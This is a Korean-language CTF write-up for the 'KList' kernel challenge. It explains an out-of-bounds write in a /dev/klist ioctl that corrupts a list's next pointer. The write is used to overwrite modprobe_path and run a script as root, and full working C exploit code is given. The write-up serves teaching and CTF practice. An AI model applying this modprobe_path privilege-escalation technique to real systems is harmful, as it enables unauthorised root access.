KList

취약점 분석

1. klist_ioctlEDIT 명령에서 발생하는 OOB Write

/dev/klist는 노드를 단일 연결 리스트로 관리한다. 노드 구조체는 바이너리의 DWARF 정보와 코드 사용 형태를 기준으로 아래처럼 복원할 수 있다.

struct klist_entry {
    char data[0x60];
    struct klist_entry *next;
    size_t pos;
};

ADD 명령은 유저가 전달한 0x60 바이트를 data에 저장하고, posstrnlen(data, 0x60) 값으로 설정한다. 이후 EDIT 명령은 idx번째 노드를 찾은 뒤 data + pos 위치에 유저 버퍼를 복사한다.

문제는 pos <= 0x5f1 <= sz <= 0x60만 확인하고, pos + sz <= 0x60을 검사하지 않는다는 점이다. 따라서 pos를 0x5f로 만든 뒤 9바이트 이상을 쓰면 data 뒤에 위치한 next 포인터를 덮을 수 있다.

if (cur->pos <= 0x5f) {
    memcpy(cur->data + cur->pos, ureq.buf, ureq.sz);
    cur->pos = strnlen(cur->data, 0x60);
}

예를 들어 pos = 0x5f, sz = 9인 경우 실제 쓰기 범위는 아래와 같다.

payload[0]    -> data[0x5f]
payload[1..8] -> next

즉 첫 번째 노드의 next 포인터를 공격자가 원하는 커널 주소로 바꿀 수 있다.

2. 조작된 next 포인터를 신뢰하는 리스트 순회

SHOWEDITidx번째 노드를 찾을 때 next 포인터를 그대로 따라간다. next 포인터가 OOB write로 조작되면, 커널은 공격자가 넣은 주소를 struct klist_entry *처럼 취급한다.

cur = st->head;
 
if (idx) {
    do {
        if (!cur)
            return -EINVAL;
 
        i++;
        cur = cur->next;
    } while (i != idx);
}

이 문제에서는 첫 번째 노드의 nextmodprobe_path 주소로 덮는다. 그 뒤 idx = 1EDIT를 호출하면, 커널은 modprobe_path를 fake klist_entry로 취급한다.

modprobe_path + 0x68 위치의 값은 0이므로 fake node의 pos가 0처럼 동작한다. 따라서 두 번째 EDITmemcpy(cur->data + cur->pos, ...)는 곧바로 modprobe_path 시작 주소에 데이터를 쓰게 된다.

cur = head->next;              // cur = modprobe_path
pos = *(size_t *)(cur + 0x68); // pos = 0
memcpy(cur + pos, "/tmp/x", 7);

결과적으로 modprobe_path/tmp/x로 덮고, modprobe 트리거를 통해 root 권한으로 /tmp/x를 실행할 수 있다.

Exploit 과정

Step 1: modprobe_path가 가리킬 스크립트 생성

modprobe_path/tmp/x로 덮을 예정이므로, 먼저 /tmp/x에 flag를 읽는 스크립트를 만든다. run.sh에서 flag 파일은 virtio block device로 붙으며, 게스트에서는 /dev/vda로 접근할 수 있다.

system("echo -ne '#!/bin/sh\n' > /tmp/x");
system("echo -ne 'cat /dev/vda > /tmp/flag.txt\n' >> /tmp/x");
system("echo -ne 'chmod 777 /tmp/flag.txt\n' >> /tmp/x");
system("chmod +x /tmp/x");

Step 2: pos = 0x5f인 노드 2개 생성

첫 번째 노드의 pos를 0x5f로 만들기 위해 A * 0x5f 뒤에 NULL 바이트를 넣는다. 커널의 ADDstrnlen(data, 0x60) 결과를 pos로 저장하므로 첫 번째 노드의 pos는 0x5f가 된다.

memset(buf, 'A', sizeof(buf));
buf[0x5f] = 0;
add(fd, buf);
add(fd, buf);

Step 3: 첫 번째 노드의 nextmodprobe_path로 덮기

EDITnode->data + node->pos에 데이터를 쓴다. 첫 번째 노드의 pos가 0x5f이므로, 9바이트를 쓰면 data[0x5f] 1바이트와 next 8바이트를 덮을 수 있다.

uint64_t modprobe_path = 0xffffffff82b426e0;
char payload[0x9];
 
payload[0] = 'A';
memcpy(payload + 1, &modprobe_path, 8);
edit(fd, 0, payload, sizeof(payload));

이후 리스트는 논리적으로 아래처럼 변한다.

node0 -> modprobe_path

Step 4: idx = 1 edit로 modprobe_path overwrite

idx = 1EDIT를 호출하면 커널은 head->next를 따라간다. 앞 단계에서 head->nextmodprobe_path로 바꿨기 때문에, 커널은 modprobe_path를 fake node처럼 취급한다.

현재 커널 이미지에서 modprobe_path + 0x68은 0이므로 fake node의 pos가 0이 된다. 따라서 EDITmodprobe_path 시작 주소에 /tmp/x\0를 덮는다.

char new_modprobe_path[] = "/tmp/x";
 
edit(fd, 1, new_modprobe_path, sizeof(new_modprobe_path));

Step 5: modprobe 트리거 후 flag 읽기

run_modprobe()를 호출해 modprobe_path를 트리거한다. 이제 커널은 /tmp/x를 root 권한으로 실행하고, /dev/vda의 내용을 /tmp/flag.txt로 복사한다.

run_modprobe();
system("cat /tmp/flag.txt");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
#define ADD_REQ 0x40606b00
#define EDIT_REQ 0x40686b01
#define SHOW_REQ 0xc0646b02
 
int fd;
char buf[0x60];
char new_modprobe_path[] = "/tmp/x";
 
// ioctl 요청 구조체
struct edit_req
{
    uint32_t idx;
    uint32_t sz;
    char buf[0x60];
};
 
void add(int fd, char *buf)
{
    ioctl(fd, ADD_REQ, buf);
}
 
void edit(int fd, uint32_t idx, char *buf, uint32_t sz)
{
    struct edit_req req;
    req.idx = idx;
    req.sz = sz;
    memcpy(req.buf, buf, sz);
    ioctl(fd, EDIT_REQ, &req);
}
 
void main()
{
    important("happy hacking!");
 
    fd = open("/dev/klist", O_RDWR);
    info("fd: %d", fd);
 
    // modprobe_path overwirting setup
    system("echo -ne '#!/bin/sh\n' > /tmp/x");
    system("echo -ne 'cat /dev/vda > /tmp/flag.txt\n' >> /tmp/x");
    system("echo -ne 'chmod 777 /tmp/flag.txt\n' >> /tmp/x");
    system("chmod +x /tmp/x");
    info("modprobe_path overwriting setup done");
 
    // make two entries
    memset(buf, 'A', sizeof(buf));
    buf[0x5f] = 0;
    add(fd, buf);
    add(fd, buf);
    info("two entries added");
 
    // edit the first entry to overflow into the second entry's next pointer
    uint64_t modprobe_path = 0xffffffff82b426e0;
    char payload[0x9];
    payload[0] = 'A';
    memcpy(payload + 1, &modprobe_path, 8);
    edit(fd, 0, payload, sizeof(payload));
    info("first entry edited to overflow into second entry's next pointer");
 
    // edit modprobe_path
    edit(fd, 1, new_modprobe_path, sizeof(new_modprobe_path));
    info("modprobe_path overwritten");
 
    run_modprobe();
 
    system("cat /tmp/flag.txt");
}